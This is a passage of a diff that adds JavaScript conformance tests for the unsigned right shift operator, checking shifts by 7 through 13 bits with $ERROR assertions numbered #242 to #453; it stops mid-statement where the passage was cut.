+
+
+if (1023 >>> 7 !== 7) {
+ $ERROR('#242: 1023 >>> 7 === 7. Actual: ' + (1023 >>> 7));
+}
+
+
+if (2047 >>> 7 !== 15) {
+ $ERROR('#243: 2047 >>> 7 === 15. Actual: ' + (2047 >>> 7));
+}
+
+
+if (4095 >>> 7 !== 31) {
+ $ERROR('#244: 4095 >>> 7 === 31. Actual: ' + (4095 >>> 7));
+}
+
+
+if (8191 >>> 7 !== 63) {
+ $ERROR('#245: 8191 >>> 7 === 63. Actual: ' + (8191 >>> 7));
+}
+
+
+if (16383 >>> 7 !== 127) {
+ $ERROR('#246: 16383 >>> 7 === 127. Actual: ' + (16383 >>> 7));
+}
+
+
+if (32767 >>> 7 !== 255) {
+ $ERROR('#247: 32767 >>> 7 === 255. Actual: ' + (32767 >>> 7));
+}
+
+
+if (65535 >>> 7 !== 511) {
+ $ERROR('#248: 65535 >>> 7 === 511. Actual: ' + (65535 >>> 7));
+}
+
+
+if (131071 >>> 7 !== 1023) {
+ $ERROR('#249: 131071 >>> 7 === 1023. Actual: ' + (131071 >>> 7));
+}
+
+
+if (262143 >>> 7 !== 2047) {
+ $ERROR('#250: 262143 >>> 7 === 2047. Actual: ' + (262143 >>> 7));
+}
+
+
+if (524287 >>> 7 !== 4095) {
+ $ERROR('#251: 524287 >>> 7 === 4095. Actual: ' + (524287 >>> 7));
+}
+
+
+if (1048575 >>> 7 !== 8191) {
+ $ERROR('#252: 1048575 >>> 7 === 8191. Actual: ' + (1048575 >>> 7));
+}
+
+
+if (2097151 >>> 7 !== 16383) {
+ $ERROR('#253: 2097151 >>> 7 === 16383. Actual: ' + (2097151 >>> 7));
+}
+
+
+if (4194303 >>> 7 !== 32767) {
+ $ERROR('#254: 4194303 >>> 7 === 32767. Actual: ' + (4194303 >>> 7));
+}
+
+
+if (8388607 >>> 7 !== 65535) {
+ $ERROR('#255: 8388607 >>> 7 === 65535. Actual: ' + (8388607 >>> 7));
+}
+
+
+if (16777215 >>> 7 !== 131071) {
+ $ERROR('#256: 16777215 >>> 7 === 131071. Actual: ' + (16777215 >>> 7));
+}
+
+
+if (33554431 >>> 7 !== 262143) {
+ $ERROR('#257: 33554431 >>> 7 === 262143. Actual: ' + (33554431 >>> 7));
+}
+
+
+if (67108863 >>> 7 !== 524287) {
+ $ERROR('#258: 67108863 >>> 7 === 524287. Actual: ' + (67108863 >>> 7));
+}
+
+
+if (134217727 >>> 7 !== 1048575) {
+ $ERROR('#259: 134217727 >>> 7 === 1048575. Actual: ' + (134217727 >>> 7));
+}
+
+
+if (268435455 >>> 7 !== 2097151) {
+ $ERROR('#260: 268435455 >>> 7 === 2097151. Actual: ' + (268435455 >>> 7));
+}
+
+
+if (536870911 >>> 7 !== 4194303) {
+ $ERROR('#261: 536870911 >>> 7 === 4194303. Actual: ' + (536870911 >>> 7));
+}
+
+
+if (1073741823 >>> 7 !== 8388607) {
+ $ERROR('#262: 1073741823 >>> 7 === 8388607. Actual: ' + (1073741823 >>> 7));
+}
+
+
+if (2147483647 >>> 7 !== 16777215) {
+ $ERROR('#263: 2147483647 >>> 7 === 16777215. Actual: ' + (2147483647 >>> 7));
+}
+
+
+if (4294967295 >>> 7 !== 33554431) {
+ $ERROR('#264: 4294967295 >>> 7 === 33554431. Actual: ' + (4294967295 >>> 7));
+}
+
+
+if (0 >>> 8 !== 0) {
+ $ERROR('#265: 0 >>> 8 === 0. Actual: ' + (0 >>> 8));
+}
+
+
+if (1 >>> 8 !== 0) {
+ $ERROR('#266: 1 >>> 8 === 0. Actual: ' + (1 >>> 8));
+}
+
+
+if (3 >>> 8 !== 0) {
+ $ERROR('#267: 3 >>> 8 === 0. Actual: ' + (3 >>> 8));
+}
+
+
+if (7 >>> 8 !== 0) {
+ $ERROR('#268: 7 >>> 8 === 0. Actual: ' + (7 >>> 8));
+}
+
+
+if (15 >>> 8 !== 0) {
+ $ERROR('#269: 15 >>> 8 === 0. Actual: ' + (15 >>> 8));
+}
+
+
+if (31 >>> 8 !== 0) {
+ $ERROR('#270: 31 >>> 8 === 0. Actual: ' + (31 >>> 8));
+}
+
+
+if (63 >>> 8 !== 0) {
+ $ERROR('#271: 63 >>> 8 === 0. Actual: ' + (63 >>> 8));
+}
+
+
+if (127 >>> 8 !== 0) {
+ $ERROR('#272: 127 >>> 8 === 0. Actual: ' + (127 >>> 8));
+}
+
+
+if (255 >>> 8 !== 0) {
+ $ERROR('#273: 255 >>> 8 === 0. Actual: ' + (255 >>> 8));
+}
+
+
+if (511 >>> 8 !== 1) {
+ $ERROR('#274: 511 >>> 8 === 1. Actual: ' + (511 >>> 8));
+}
+
+
+if (1023 >>> 8 !== 3) {
+ $ERROR('#275: 1023 >>> 8 === 3. Actual: ' + (1023 >>> 8));
+}
+
+
+if (2047 >>> 8 !== 7) {
+ $ERROR('#276: 2047 >>> 8 === 7. Actual: ' + (2047 >>> 8));
+}
+
+
+if (4095 >>> 8 !== 15) {
+ $ERROR('#277: 4095 >>> 8 === 15. Actual: ' + (4095 >>> 8));
+}
+
+
+if (8191 >>> 8 !== 31) {
+ $ERROR('#278: 8191 >>> 8 === 31. Actual: ' + (8191 >>> 8));
+}
+
+
+if (16383 >>> 8 !== 63) {
+ $ERROR('#279: 16383 >>> 8 === 63. Actual: ' + (16383 >>> 8));
+}
+
+
+if (32767 >>> 8 !== 127) {
+ $ERROR('#280: 32767 >>> 8 === 127. Actual: ' + (32767 >>> 8));
+}
+
+
+if (65535 >>> 8 !== 255) {
+ $ERROR('#281: 65535 >>> 8 === 255. Actual: ' + (65535 >>> 8));
+}
+
+
+if (131071 >>> 8 !== 511) {
+ $ERROR('#282: 131071 >>> 8 === 511. Actual: ' + (131071 >>> 8));
+}
+
+
+if (262143 >>> 8 !== 1023) {
+ $ERROR('#283: 262143 >>> 8 === 1023. Actual: ' + (262143 >>> 8));
+}
+
+
+if (524287 >>> 8 !== 2047) {
+ $ERROR('#284: 524287 >>> 8 === 2047. Actual: ' + (524287 >>> 8));
+}
+
+
+if (1048575 >>> 8 !== 4095) {
+ $ERROR('#285: 1048575 >>> 8 === 4095. Actual: ' + (1048575 >>> 8));
+}
+
+
+if (2097151 >>> 8 !== 8191) {
+ $ERROR('#286: 2097151 >>> 8 === 8191. Actual: ' + (2097151 >>> 8));
+}
+
+
+if (4194303 >>> 8 !== 16383) {
+ $ERROR('#287: 4194303 >>> 8 === 16383. Actual: ' + (4194303 >>> 8));
+}
+
+
+if (8388607 >>> 8 !== 32767) {
+ $ERROR('#288: 8388607 >>> 8 === 32767. Actual: ' + (8388607 >>> 8));
+}
+
+
+if (16777215 >>> 8 !== 65535) {
+ $ERROR('#289: 16777215 >>> 8 === 65535. Actual: ' + (16777215 >>> 8));
+}
+
+
+if (33554431 >>> 8 !== 131071) {
+ $ERROR('#290: 33554431 >>> 8 === 131071. Actual: ' + (33554431 >>> 8));
+}
+
+
+if (67108863 >>> 8 !== 262143) {
+ $ERROR('#291: 67108863 >>> 8 === 262143. Actual: ' + (67108863 >>> 8));
+}
+
+
+if (134217727 >>> 8 !== 524287) {
+ $ERROR('#292: 134217727 >>> 8 === 524287. Actual: ' + (134217727 >>> 8));
+}
+
+
+if (268435455 >>> 8 !== 1048575) {
+ $ERROR('#293: 268435455 >>> 8 === 1048575. Actual: ' + (268435455 >>> 8));
+}
+
+
+if (536870911 >>> 8 !== 2097151) {
+ $ERROR('#294: 536870911 >>> 8 === 2097151. Actual: ' + (536870911 >>> 8));
+}
+
+
+if (1073741823 >>> 8 !== 4194303) {
+ $ERROR('#295: 1073741823 >>> 8 === 4194303. Actual: ' + (1073741823 >>> 8));
+}
+
+
+if (2147483647 >>> 8 !== 8388607) {
+ $ERROR('#296: 2147483647 >>> 8 === 8388607. Actual: ' + (2147483647 >>> 8));
+}
+
+
+if (4294967295 >>> 8 !== 16777215) {
+ $ERROR('#297: 4294967295 >>> 8 === 16777215. Actual: ' + (4294967295 >>> 8));
+}
+
+
+if (0 >>> 9 !== 0) {
+ $ERROR('#298: 0 >>> 9 === 0. Actual: ' + (0 >>> 9));
+}
+
+
+if (1 >>> 9 !== 0) {
+ $ERROR('#299: 1 >>> 9 === 0. Actual: ' + (1 >>> 9));
+}
+
+
+if (3 >>> 9 !== 0) {
+ $ERROR('#300: 3 >>> 9 === 0. Actual: ' + (3 >>> 9));
+}
+
+
+if (7 >>> 9 !== 0) {
+ $ERROR('#301: 7 >>> 9 === 0. Actual: ' + (7 >>> 9));
+}
+
+
+if (15 >>> 9 !== 0) {
+ $ERROR('#302: 15 >>> 9 === 0. Actual: ' + (15 >>> 9));
+}
+
+
+if (31 >>> 9 !== 0) {
+ $ERROR('#303: 31 >>> 9 === 0. Actual: ' + (31 >>> 9));
+}
+
+
+if (63 >>> 9 !== 0) {
+ $ERROR('#304: 63 >>> 9 === 0. Actual: ' + (63 >>> 9));
+}
+
+
+if (127 >>> 9 !== 0) {
+ $ERROR('#305: 127 >>> 9 === 0. Actual: ' + (127 >>> 9));
+}
+
+
+if (255 >>> 9 !== 0) {
+ $ERROR('#306: 255 >>> 9 === 0. Actual: ' + (255 >>> 9));
+}
+
+
+if (511 >>> 9 !== 0) {
+ $ERROR('#307: 511 >>> 9 === 0. Actual: ' + (511 >>> 9));
+}
+
+
+if (1023 >>> 9 !== 1) {
+ $ERROR('#308: 1023 >>> 9 === 1. Actual: ' + (1023 >>> 9));
+}
+
+
+if (2047 >>> 9 !== 3) {
+ $ERROR('#309: 2047 >>> 9 === 3. Actual: ' + (2047 >>> 9));
+}
+
+
+if (4095 >>> 9 !== 7) {
+ $ERROR('#310: 4095 >>> 9 === 7. Actual: ' + (4095 >>> 9));
+}
+
+
+if (8191 >>> 9 !== 15) {
+ $ERROR('#311: 8191 >>> 9 === 15. Actual: ' + (8191 >>> 9));
+}
+
+
+if (16383 >>> 9 !== 31) {
+ $ERROR('#312: 16383 >>> 9 === 31. Actual: ' + (16383 >>> 9));
+}
+
+
+if (32767 >>> 9 !== 63) {
+ $ERROR('#313: 32767 >>> 9 === 63. Actual: ' + (32767 >>> 9));
+}
+
+
+if (65535 >>> 9 !== 127) {
+ $ERROR('#314: 65535 >>> 9 === 127. Actual: ' + (65535 >>> 9));
+}
+
+
+if (131071 >>> 9 !== 255) {
+ $ERROR('#315: 131071 >>> 9 === 255. Actual: ' + (131071 >>> 9));
+}
+
+
+if (262143 >>> 9 !== 511) {
+ $ERROR('#316: 262143 >>> 9 === 511. Actual: ' + (262143 >>> 9));
+}
+
+
+if (524287 >>> 9 !== 1023) {
+ $ERROR('#317: 524287 >>> 9 === 1023. Actual: ' + (524287 >>> 9));
+}
+
+
+if (1048575 >>> 9 !== 2047) {
+ $ERROR('#318: 1048575 >>> 9 === 2047. Actual: ' + (1048575 >>> 9));
+}
+
+
+if (2097151 >>> 9 !== 4095) {
+ $ERROR('#319: 2097151 >>> 9 === 4095. Actual: ' + (2097151 >>> 9));
+}
+
+
+if (4194303 >>> 9 !== 8191) {
+ $ERROR('#320: 4194303 >>> 9 === 8191. Actual: ' + (4194303 >>> 9));
+}
+
+
+if (8388607 >>> 9 !== 16383) {
+ $ERROR('#321: 8388607 >>> 9 === 16383. Actual: ' + (8388607 >>> 9));
+}
+
+
+if (16777215 >>> 9 !== 32767) {
+ $ERROR('#322: 16777215 >>> 9 === 32767. Actual: ' + (16777215 >>> 9));
+}
+
+
+if (33554431 >>> 9 !== 65535) {
+ $ERROR('#323: 33554431 >>> 9 === 65535. Actual: ' + (33554431 >>> 9));
+}
+
+
+if (67108863 >>> 9 !== 131071) {
+ $ERROR('#324: 67108863 >>> 9 === 131071. Actual: ' + (67108863 >>> 9));
+}
+
+
+if (134217727 >>> 9 !== 262143) {
+ $ERROR('#325: 134217727 >>> 9 === 262143. Actual: ' + (134217727 >>> 9));
+}
+
+
+if (268435455 >>> 9 !== 524287) {
+ $ERROR('#326: 268435455 >>> 9 === 524287. Actual: ' + (268435455 >>> 9));
+}
+
+
+if (536870911 >>> 9 !== 1048575) {
+ $ERROR('#327: 536870911 >>> 9 === 1048575. Actual: ' + (536870911 >>> 9));
+}
+
+
+if (1073741823 >>> 9 !== 2097151) {
+ $ERROR('#328: 1073741823 >>> 9 === 2097151. Actual: ' + (1073741823 >>> 9));
+}
+
+
+if (2147483647 >>> 9 !== 4194303) {
+ $ERROR('#329: 2147483647 >>> 9 === 4194303. Actual: ' + (2147483647 >>> 9));
+}
+
+
+if (4294967295 >>> 9 !== 8388607) {
+ $ERROR('#330: 4294967295 >>> 9 === 8388607. Actual: ' + (4294967295 >>> 9));
+}
+
+
+if (0 >>> 10 !== 0) {
+ $ERROR('#331: 0 >>> 10 === 0. Actual: ' + (0 >>> 10));
+}
+
+
+if (1 >>> 10 !== 0) {
+ $ERROR('#332: 1 >>> 10 === 0. Actual: ' + (1 >>> 10));
+}
+
+
+if (3 >>> 10 !== 0) {
+ $ERROR('#333: 3 >>> 10 === 0. Actual: ' + (3 >>> 10));
+}
+
+
+if (7 >>> 10 !== 0) {
+ $ERROR('#334: 7 >>> 10 === 0. Actual: ' + (7 >>> 10));
+}
+
+
+if (15 >>> 10 !== 0) {
+ $ERROR('#335: 15 >>> 10 === 0. Actual: ' + (15 >>> 10));
+}
+
+
+if (31 >>> 10 !== 0) {
+ $ERROR('#336: 31 >>> 10 === 0. Actual: ' + (31 >>> 10));
+}
+
+
+if (63 >>> 10 !== 0) {
+ $ERROR('#337: 63 >>> 10 === 0. Actual: ' + (63 >>> 10));
+}
+
+
+if (127 >>> 10 !== 0) {
+ $ERROR('#338: 127 >>> 10 === 0. Actual: ' + (127 >>> 10));
+}
+
+
+if (255 >>> 10 !== 0) {
+ $ERROR('#339: 255 >>> 10 === 0. Actual: ' + (255 >>> 10));
+}
+
+
+if (511 >>> 10 !== 0) {
+ $ERROR('#340: 511 >>> 10 === 0. Actual: ' + (511 >>> 10));
+}
+
+
+if (1023 >>> 10 !== 0) {
+ $ERROR('#341: 1023 >>> 10 === 0. Actual: ' + (1023 >>> 10));
+}
+
+
+if (2047 >>> 10 !== 1) {
+ $ERROR('#342: 2047 >>> 10 === 1. Actual: ' + (2047 >>> 10));
+}
+
+
+if (4095 >>> 10 !== 3) {
+ $ERROR('#343: 4095 >>> 10 === 3. Actual: ' + (4095 >>> 10));
+}
+
+
+if (8191 >>> 10 !== 7) {
+ $ERROR('#344: 8191 >>> 10 === 7. Actual: ' + (8191 >>> 10));
+}
+
+
+if (16383 >>> 10 !== 15) {
+ $ERROR('#345: 16383 >>> 10 === 15. Actual: ' + (16383 >>> 10));
+}
+
+
+if (32767 >>> 10 !== 31) {
+ $ERROR('#346: 32767 >>> 10 === 31. Actual: ' + (32767 >>> 10));
+}
+
+
+if (65535 >>> 10 !== 63) {
+ $ERROR('#347: 65535 >>> 10 === 63. Actual: ' + (65535 >>> 10));
+}
+
+
+if (131071 >>> 10 !== 127) {
+ $ERROR('#348: 131071 >>> 10 === 127. Actual: ' + (131071 >>> 10));
+}
+
+
+if (262143 >>> 10 !== 255) {
+ $ERROR('#349: 262143 >>> 10 === 255. Actual: ' + (262143 >>> 10));
+}
+
+
+if (524287 >>> 10 !== 511) {
+ $ERROR('#350: 524287 >>> 10 === 511. Actual: ' + (524287 >>> 10));
+}
+
+
+if (1048575 >>> 10 !== 1023) {
+ $ERROR('#351: 1048575 >>> 10 === 1023. Actual: ' + (1048575 >>> 10));
+}
+
+
+if (2097151 >>> 10 !== 2047) {
+ $ERROR('#352: 2097151 >>> 10 === 2047. Actual: ' + (2097151 >>> 10));
+}
+
+
+if (4194303 >>> 10 !== 4095) {
+ $ERROR('#353: 4194303 >>> 10 === 4095. Actual: ' + (4194303 >>> 10));
+}
+
+
+if (8388607 >>> 10 !== 8191) {
+ $ERROR('#354: 8388607 >>> 10 === 8191. Actual: ' + (8388607 >>> 10));
+}
+
+
+if (16777215 >>> 10 !== 16383) {
+ $ERROR('#355: 16777215 >>> 10 === 16383. Actual: ' + (16777215 >>> 10));
+}
+
+
+if (33554431 >>> 10 !== 32767) {
+ $ERROR('#356: 33554431 >>> 10 === 32767. Actual: ' + (33554431 >>> 10));
+}
+
+
+if (67108863 >>> 10 !== 65535) {
+ $ERROR('#357: 67108863 >>> 10 === 65535. Actual: ' + (67108863 >>> 10));
+}
+
+
+if (134217727 >>> 10 !== 131071) {
+ $ERROR('#358: 134217727 >>> 10 === 131071. Actual: ' + (134217727 >>> 10));
+}
+
+
+if (268435455 >>> 10 !== 262143) {
+ $ERROR('#359: 268435455 >>> 10 === 262143. Actual: ' + (268435455 >>> 10));
+}
+
+
+if (536870911 >>> 10 !== 524287) {
+ $ERROR('#360: 536870911 >>> 10 === 524287. Actual: ' + (536870911 >>> 10));
+}
+
+
+if (1073741823 >>> 10 !== 1048575) {
+ $ERROR('#361: 1073741823 >>> 10 === 1048575. Actual: ' + (1073741823 >>> 10));
+}
+
+
+if (2147483647 >>> 10 !== 2097151) {
+ $ERROR('#362: 2147483647 >>> 10 === 2097151. Actual: ' + (2147483647 >>> 10));
+}
+
+
+if (4294967295 >>> 10 !== 4194303) {
+ $ERROR('#363: 4294967295 >>> 10 === 4194303. Actual: ' + (4294967295 >>> 10));
+}
+
+
+if (0 >>> 11 !== 0) {
+ $ERROR('#364: 0 >>> 11 === 0. Actual: ' + (0 >>> 11));
+}
+
+
+if (1 >>> 11 !== 0) {
+ $ERROR('#365: 1 >>> 11 === 0. Actual: ' + (1 >>> 11));
+}
+
+
+if (3 >>> 11 !== 0) {
+ $ERROR('#366: 3 >>> 11 === 0. Actual: ' + (3 >>> 11));
+}
+
+
+if (7 >>> 11 !== 0) {
+ $ERROR('#367: 7 >>> 11 === 0. Actual: ' + (7 >>> 11));
+}
+
+
+if (15 >>> 11 !== 0) {
+ $ERROR('#368: 15 >>> 11 === 0. Actual: ' + (15 >>> 11));
+}
+
+
+if (31 >>> 11 !== 0) {
+ $ERROR('#369: 31 >>> 11 === 0. Actual: ' + (31 >>> 11));
+}
+
+
+if (63 >>> 11 !== 0) {
+ $ERROR('#370: 63 >>> 11 === 0. Actual: ' + (63 >>> 11));
+}
+
+
+if (127 >>> 11 !== 0) {
+ $ERROR('#371: 127 >>> 11 === 0. Actual: ' + (127 >>> 11));
+}
+
+
+if (255 >>> 11 !== 0) {
+ $ERROR('#372: 255 >>> 11 === 0. Actual: ' + (255 >>> 11));
+}
+
+
+if (511 >>> 11 !== 0) {
+ $ERROR('#373: 511 >>> 11 === 0. Actual: ' + (511 >>> 11));
+}
+
+
+if (1023 >>> 11 !== 0) {
+ $ERROR('#374: 1023 >>> 11 === 0. Actual: ' + (1023 >>> 11));
+}
+
+
+if (2047 >>> 11 !== 0) {
+ $ERROR('#375: 2047 >>> 11 === 0. Actual: ' + (2047 >>> 11));
+}
+
+
+if (4095 >>> 11 !== 1) {
+ $ERROR('#376: 4095 >>> 11 === 1. Actual: ' + (4095 >>> 11));
+}
+
+
+if (8191 >>> 11 !== 3) {
+ $ERROR('#377: 8191 >>> 11 === 3. Actual: ' + (8191 >>> 11));
+}
+
+
+if (16383 >>> 11 !== 7) {
+ $ERROR('#378: 16383 >>> 11 === 7. Actual: ' + (16383 >>> 11));
+}
+
+
+if (32767 >>> 11 !== 15) {
+ $ERROR('#379: 32767 >>> 11 === 15. Actual: ' + (32767 >>> 11));
+}
+
+
+if (65535 >>> 11 !== 31) {
+ $ERROR('#380: 65535 >>> 11 === 31. Actual: ' + (65535 >>> 11));
+}
+
+
+if (131071 >>> 11 !== 63) {
+ $ERROR('#381: 131071 >>> 11 === 63. Actual: ' + (131071 >>> 11));
+}
+
+
+if (262143 >>> 11 !== 127) {
+ $ERROR('#382: 262143 >>> 11 === 127. Actual: ' + (262143 >>> 11));
+}
+
+
+if (524287 >>> 11 !== 255) {
+ $ERROR('#383: 524287 >>> 11 === 255. Actual: ' + (524287 >>> 11));
+}
+
+
+if (1048575 >>> 11 !== 511) {
+ $ERROR('#384: 1048575 >>> 11 === 511. Actual: ' + (1048575 >>> 11));
+}
+
+
+if (2097151 >>> 11 !== 1023) {
+ $ERROR('#385: 2097151 >>> 11 === 1023. Actual: ' + (2097151 >>> 11));
+}
+
+
+if (4194303 >>> 11 !== 2047) {
+ $ERROR('#386: 4194303 >>> 11 === 2047. Actual: ' + (4194303 >>> 11));
+}
+
+
+if (8388607 >>> 11 !== 4095) {
+ $ERROR('#387: 8388607 >>> 11 === 4095. Actual: ' + (8388607 >>> 11));
+}
+
+
+if (16777215 >>> 11 !== 8191) {
+ $ERROR('#388: 16777215 >>> 11 === 8191. Actual: ' + (16777215 >>> 11));
+}
+
+
+if (33554431 >>> 11 !== 16383) {
+ $ERROR('#389: 33554431 >>> 11 === 16383. Actual: ' + (33554431 >>> 11));
+}
+
+
+if (67108863 >>> 11 !== 32767) {
+ $ERROR('#390: 67108863 >>> 11 === 32767. Actual: ' + (67108863 >>> 11));
+}
+
+
+if (134217727 >>> 11 !== 65535) {
+ $ERROR('#391: 134217727 >>> 11 === 65535. Actual: ' + (134217727 >>> 11));
+}
+
+
+if (268435455 >>> 11 !== 131071) {
+ $ERROR('#392: 268435455 >>> 11 === 131071. Actual: ' + (268435455 >>> 11));
+}
+
+
+if (536870911 >>> 11 !== 262143) {
+ $ERROR('#393: 536870911 >>> 11 === 262143. Actual: ' + (536870911 >>> 11));
+}
+
+
+if (1073741823 >>> 11 !== 524287) {
+ $ERROR('#394: 1073741823 >>> 11 === 524287. Actual: ' + (1073741823 >>> 11));
+}
+
+
+if (2147483647 >>> 11 !== 1048575) {
+ $ERROR('#395: 2147483647 >>> 11 === 1048575. Actual: ' + (2147483647 >>> 11));
+}
+
+
+if (4294967295 >>> 11 !== 2097151) {
+ $ERROR('#396: 4294967295 >>> 11 === 2097151. Actual: ' + (4294967295 >>> 11));
+}
+
+
+if (0 >>> 12 !== 0) {
+ $ERROR('#397: 0 >>> 12 === 0. Actual: ' + (0 >>> 12));
+}
+
+
+if (1 >>> 12 !== 0) {
+ $ERROR('#398: 1 >>> 12 === 0. Actual: ' + (1 >>> 12));
+}
+
+
+if (3 >>> 12 !== 0) {
+ $ERROR('#399: 3 >>> 12 === 0. Actual: ' + (3 >>> 12));
+}
+
+
+if (7 >>> 12 !== 0) {
+ $ERROR('#400: 7 >>> 12 === 0. Actual: ' + (7 >>> 12));
+}
+
+
+if (15 >>> 12 !== 0) {
+ $ERROR('#401: 15 >>> 12 === 0. Actual: ' + (15 >>> 12));
+}
+
+
+if (31 >>> 12 !== 0) {
+ $ERROR('#402: 31 >>> 12 === 0. Actual: ' + (31 >>> 12));
+}
+
+
+if (63 >>> 12 !== 0) {
+ $ERROR('#403: 63 >>> 12 === 0. Actual: ' + (63 >>> 12));
+}
+
+
+if (127 >>> 12 !== 0) {
+ $ERROR('#404: 127 >>> 12 === 0. Actual: ' + (127 >>> 12));
+}
+
+
+if (255 >>> 12 !== 0) {
+ $ERROR('#405: 255 >>> 12 === 0. Actual: ' + (255 >>> 12));
+}
+
+
+if (511 >>> 12 !== 0) {
+ $ERROR('#406: 511 >>> 12 === 0. Actual: ' + (511 >>> 12));
+}
+
+
+if (1023 >>> 12 !== 0) {
+ $ERROR('#407: 1023 >>> 12 === 0. Actual: ' + (1023 >>> 12));
+}
+
+
+if (2047 >>> 12 !== 0) {
+ $ERROR('#408: 2047 >>> 12 === 0. Actual: ' + (2047 >>> 12));
+}
+
+
+if (4095 >>> 12 !== 0) {
+ $ERROR('#409: 4095 >>> 12 === 0. Actual: ' + (4095 >>> 12));
+}
+
+
+if (8191 >>> 12 !== 1) {
+ $ERROR('#410: 8191 >>> 12 === 1. Actual: ' + (8191 >>> 12));
+}
+
+
+if (16383 >>> 12 !== 3) {
+ $ERROR('#411: 16383 >>> 12 === 3. Actual: ' + (16383 >>> 12));
+}
+
+
+if (32767 >>> 12 !== 7) {
+ $ERROR('#412: 32767 >>> 12 === 7. Actual: ' + (32767 >>> 12));
+}
+
+
+if (65535 >>> 12 !== 15) {
+ $ERROR('#413: 65535 >>> 12 === 15. Actual: ' + (65535 >>> 12));
+}
+
+
+if (131071 >>> 12 !== 31) {
+ $ERROR('#414: 131071 >>> 12 === 31. Actual: ' + (131071 >>> 12));
+}
+
+
+if (262143 >>> 12 !== 63) {
+ $ERROR('#415: 262143 >>> 12 === 63. Actual: ' + (262143 >>> 12));
+}
+
+
+if (524287 >>> 12 !== 127) {
+ $ERROR('#416: 524287 >>> 12 === 127. Actual: ' + (524287 >>> 12));
+}
+
+
+if (1048575 >>> 12 !== 255) {
+ $ERROR('#417: 1048575 >>> 12 === 255. Actual: ' + (1048575 >>> 12));
+}
+
+
+if (2097151 >>> 12 !== 511) {
+ $ERROR('#418: 2097151 >>> 12 === 511. Actual: ' + (2097151 >>> 12));
+}
+
+
+if (4194303 >>> 12 !== 1023) {
+ $ERROR('#419: 4194303 >>> 12 === 1023. Actual: ' + (4194303 >>> 12));
+}
+
+
+if (8388607 >>> 12 !== 2047) {
+ $ERROR('#420: 8388607 >>> 12 === 2047. Actual: ' + (8388607 >>> 12));
+}
+
+
+if (16777215 >>> 12 !== 4095) {
+ $ERROR('#421: 16777215 >>> 12 === 4095. Actual: ' + (16777215 >>> 12));
+}
+
+
+if (33554431 >>> 12 !== 8191) {
+ $ERROR('#422: 33554431 >>> 12 === 8191. Actual: ' + (33554431 >>> 12));
+}
+
+
+if (67108863 >>> 12 !== 16383) {
+ $ERROR('#423: 67108863 >>> 12 === 16383. Actual: ' + (67108863 >>> 12));
+}
+
+
+if (134217727 >>> 12 !== 32767) {
+ $ERROR('#424: 134217727 >>> 12 === 32767. Actual: ' + (134217727 >>> 12));
+}
+
+
+if (268435455 >>> 12 !== 65535) {
+ $ERROR('#425: 268435455 >>> 12 === 65535. Actual: ' + (268435455 >>> 12));
+}
+
+
+if (536870911 >>> 12 !== 131071) {
+ $ERROR('#426: 536870911 >>> 12 === 131071. Actual: ' + (536870911 >>> 12));
+}
+
+
+if (1073741823 >>> 12 !== 262143) {
+ $ERROR('#427: 1073741823 >>> 12 === 262143. Actual: ' + (1073741823 >>> 12));
+}
+
+
+if (2147483647 >>> 12 !== 524287) {
+ $ERROR('#428: 2147483647 >>> 12 === 524287. Actual: ' + (2147483647 >>> 12));
+}
+
+
+if (4294967295 >>> 12 !== 1048575) {
+ $ERROR('#429: 4294967295 >>> 12 === 1048575. Actual: ' + (4294967295 >>> 12));
+}
+
+
+if (0 >>> 13 !== 0) {
+ $ERROR('#430: 0 >>> 13 === 0. Actual: ' + (0 >>> 13));
+}
+
+
+if (1 >>> 13 !== 0) {
+ $ERROR('#431: 1 >>> 13 === 0. Actual: ' + (1 >>> 13));
+}
+
+
+if (3 >>> 13 !== 0) {
+ $ERROR('#432: 3 >>> 13 === 0. Actual: ' + (3 >>> 13));
+}
+
+
+if (7 >>> 13 !== 0) {
+ $ERROR('#433: 7 >>> 13 === 0. Actual: ' + (7 >>> 13));
+}
+
+
+if (15 >>> 13 !== 0) {
+ $ERROR('#434: 15 >>> 13 === 0. Actual: ' + (15 >>> 13));
+}
+
+
+if (31 >>> 13 !== 0) {
+ $ERROR('#435: 31 >>> 13 === 0. Actual: ' + (31 >>> 13));
+}
+
+
+if (63 >>> 13 !== 0) {
+ $ERROR('#436: 63 >>> 13 === 0. Actual: ' + (63 >>> 13));
+}
+
+
+if (127 >>> 13 !== 0) {
+ $ERROR('#437: 127 >>> 13 === 0. Actual: ' + (127 >>> 13));
+}
+
+
+if (255 >>> 13 !== 0) {
+ $ERROR('#438: 255 >>> 13 === 0. Actual: ' + (255 >>> 13));
+}
+
+
+if (511 >>> 13 !== 0) {
+ $ERROR('#439: 511 >>> 13 === 0. Actual: ' + (511 >>> 13));
+}
+
+
+if (1023 >>> 13 !== 0) {
+ $ERROR('#440: 1023 >>> 13 === 0. Actual: ' + (1023 >>> 13));
+}
+
+
+if (2047 >>> 13 !== 0) {
+ $ERROR('#441: 2047 >>> 13 === 0. Actual: ' + (2047 >>> 13));
+}
+
+
+if (4095 >>> 13 !== 0) {
+ $ERROR('#442: 4095 >>> 13 === 0. Actual: ' + (4095 >>> 13));
+}
+
+
+if (8191 >>> 13 !== 0) {
+ $ERROR('#443: 8191 >>> 13 === 0. Actual: ' + (8191 >>> 13));
+}
+
+
+if (16383 >>> 13 !== 1) {
+ $ERROR('#444: 16383 >>> 13 === 1. Actual: ' + (16383 >>> 13));
+}
+
+
+if (32767 >>> 13 !== 3) {
+ $ERROR('#445: 32767 >>> 13 === 3. Actual: ' + (32767 >>> 13));
+}
+
+
+if (65535 >>> 13 !== 7) {
+ $ERROR('#446: 65535 >>> 13 === 7. Actual: ' + (65535 >>> 13));
+}
+
+
+if (131071 >>> 13 !== 15) {
+ $ERROR('#447: 131071 >>> 13 === 15. Actual: ' + (131071 >>> 13));
+}
+
+
+if (262143 >>> 13 !== 31) {
+ $ERROR('#448: 262143 >>> 13 === 31. Actual: ' + (262143 >>> 13));
+}
+
+
+if (524287 >>> 13 !== 63) {
+ $ERROR('#449: 524287 >>> 13 === 63. Actual: ' + (524287 >>> 13));
+}
+
+
+if (1048575 >>> 13 !== 127) {
+ $ERROR('#450: 1048575 >>> 13 === 127. Actual: ' + (1048575 >>> 13));
+}
+
+
+if (2097151 >>> 13 !== 255) {
+ $ERROR('#451: 2097151 >>> 13 === 255. Actual: ' + (2097151 >>> 13));
+}
+
+
+if (4194303 >>> 13 !== 511) {
+ $ERROR('#452: 4194303 >>> 13 === 511. Actual: ' + (4194303 >>> 13));
+}
+
+
+if (8388607 >>> 13 !== 1023) {
+ $ERROR('#453: 8388607 >>> 13 === 1023. Actual: ' + (8388607 >>> 13));
+}
+
+
+if (16777215 >>> 13 !== 2047) {
